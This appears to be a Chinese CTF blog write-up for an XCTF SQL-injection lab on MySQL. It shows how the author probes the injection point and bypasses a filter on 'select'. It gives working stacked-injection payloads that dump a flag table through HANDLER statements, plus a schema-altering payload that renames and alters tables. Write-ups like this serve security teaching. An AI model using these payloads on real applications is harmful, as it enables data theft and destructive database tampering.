关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本关考察的是 SQL 注入漏洞(MySQL 数据库),要想过此关,你需要了解以下知识:
-
SQL 注入— 反引号:如果被注入的数据表表名有歧义,需要在两边加上 ` ` 进行注释。
-
比如当表名为纯数字时就可以使用反引号进行标识。
-
反引号可以用来标识数据库、表或列的名称,用以区别关键字。
-
-
SQL 注入 — 堆叠注入拓展:如果目标对于你提交的堆叠注入请求有回显,可以使用以下语句加速你的注入进程:
-
获取数据表信息:
show tables;
-
查看表的字段信息:
show columns from
或; describe
;
-
- -- select 被过滤的替代品: handler
- handler table_name open; -- 开启 table_name 表的句柄
- handler table_name read first; -- 获取第一行(索引最小的一行)
- handler table_name read next; -- 获取下一行
-
- -- SQL 注入基础知识
- -- 创建数据表:
- CREATE TABLE `my table` (
- `id` INT PRIMARY KEY,
- `first name` VARCHAR(50),
- `last name` VARCHAR(50)
- );
- -- 更改字段名:
- ALTER TABLE table_name CHANGE old_column_name new_column_name column_type;
- -- 添加 id 字段并设置自增:
- ALTER TABLE 表名 ADD id INT AUTO_INCREMENT PRIMARY KEY;
- -- 删除字段:
- ALTER TABLE 表名 DROP COLUMN 列名;
- -- 更改表名:
- rename table old_name to new_name;
0x02:Write UP
0x0201:Write UP 01 - handler 注入
从题目来看本题考察的就是 SQL 注入,进入靶场:
先测试一下目标是否有注入点,并判断目标后端语句,测试流程如下:
- 1 or 1=1;# -> 页面无变化
- 1 or 1=0;# -> 页面无变化
- 1' or 1=1;#' -> 注入成功
由此判断目标后端执行的 SQL 语句如下:
select * from 表名 where id='$_GET["inject"]';
所以注入模板如下:
1' 注入代码 ;#'
下面判断一下后端返回的数据个数,可以看到页面返回了两个数据:
- 1' order by 1;#' -> 页面无变化
- 1' order by 2;#' -> 页面无变化
- 1' order by 3;#' -> error 1054 : Unknown column '3' in 'order clause'
下面使用联合注入,尝试获得数据库数据:
1' union select 1,2;#'
可以看到 select
被过过滤了,where
也被过滤了,那我们一般的通过 select
和 where
去information_schema
数据库中查询表名、表字段的方式就都没用了,那要怎么绕过呢?
试试堆叠注入(报错注入,你可以试试,但是报错注入还是要用 select
查询表):
1';show tables;#
可以看到目前数据库中有两个表 1919810931114514
和 words
,查看一下表结构:
1';describe `1919810931114514`;#' -> 这里要用 `` 扩起来,方便数据库认识,不然这个表名可能被解析为一串数字
可以看到此表中有一个字段为 flag,那么我们基本就可以确认目标就是这个表了,但是从之前的测试中,我们发现了,目标过滤了 select
方法,所以我们需要使用另一种方法读取表信息,即 handler
方法,教程链接如下:
【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客文章浏览阅读9.8k次,点赞41次,收藏68次。起序:在 Web 题遇到的,也算是骚姿势吧,希望帮到有需要的同志。一、简介MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。二、语法1、官方语法官方给出的:HANDLER Statement_mysql handlerhttp://iyenn.com/rec/1646250.html
注入 Payload 如下(部分同学可能会疑问,下面的两条 handler
语句能不能分开执行?在数据库中是可以的,但是我们考虑到目标使用 PHP 建立与数据库的一次性链接之后传递数据,再断开链接,所以对于 PHP 而言,每次链接都是单独的,如果分开执行,相当与建立了两次链接,会导致 read next
读取失败),成功 Get Flag:
1';handler `1919810931114514` open;handler `1919810931114514` read next;#
0x0202:Write UP 02 - rename 注入
本 Write UP 建立在前面的 Write UP 之上,已知的条件,本 Write UP 不会再重新测试。
回归我们一开始猜测的目标后端的 SQL 语句:
select * from 表名 where id='$_GET["inject"]';
我们有合理怀疑,这里的表名是 words
表,在上面的 Write UP 中我们已经知道了1919810931114514
表结构,那么我们在这里看一下 words
的表结构,注入 Payload 如下:
1';describe words;#
所以目标后端的数据库结构如下:
- - 1919810931114514
- - flag varchar(100)
- - words
- - id int(10)
- - data varchar(20)
所以目标后端的 SQL 语句极有可能如下:
select * from words where id='$_GET["inject"]';
那么下面我们来将 1919810931114514
偷天换日改为 words
:
- SQL 知识速递:
- -- 更改字段名:
- ALTER TABLE table_name CHANGE old_column_name new_column_name column_type;
- -- 添加 id 字段并设置自增:
- ALTER TABLE 表名 ADD id INT AUTO_INCREMENT PRIMARY KEY;
- -- 删除字段:
- ALTER TABLE 表名 DROP COLUMN 列名;
- -- 更改表名:
- rename table old_name to new_name;
- ------------------------------------------------------------------
- 注入逻辑:
- 向 1919810931114514 表中添加 id 字段并设置自增 -> 避免 PHP 后端查询报错 -> 这样题目直接挂了
- 将 1919810931114514 表中 flag 字段更改为 data 字段,格式为 varchar(100) -> 同上
- 将 words 表命名为 words_bak
- 将 1919810931114514 表命名为 words
- -------------------------------------------------------------------
- 最终 Payload 如下:
- 1';alter table `1919810931114514` add id int auto_increment primary key;alter table `1919810931114514` change flag data varchar(100);rename table words to words_bak;rename table `1919810931114514` to words;#'
提交完 Payload 之后再次点击一下提交,即可查询到 flag:
0x03:参考资料
【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客文章浏览阅读9.8k次,点赞41次,收藏68次。起序:在 Web 题遇到的,也算是骚姿势吧,希望帮到有需要的同志。一、简介MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。二、语法1、官方语法官方给出的:HANDLER Statement_mysql handlerhttp://iyenn.com/rec/1646250.html
【sql注入-堆叠注入】多语句执行、结合其他注入-CSDN博客文章浏览阅读5.3k次,点赞2次,收藏7次。【堆叠注入】相比其他注入能执行的操作更多_堆叠注入http://iyenn.com/rec/1778749.html
评论记录:
回复评论: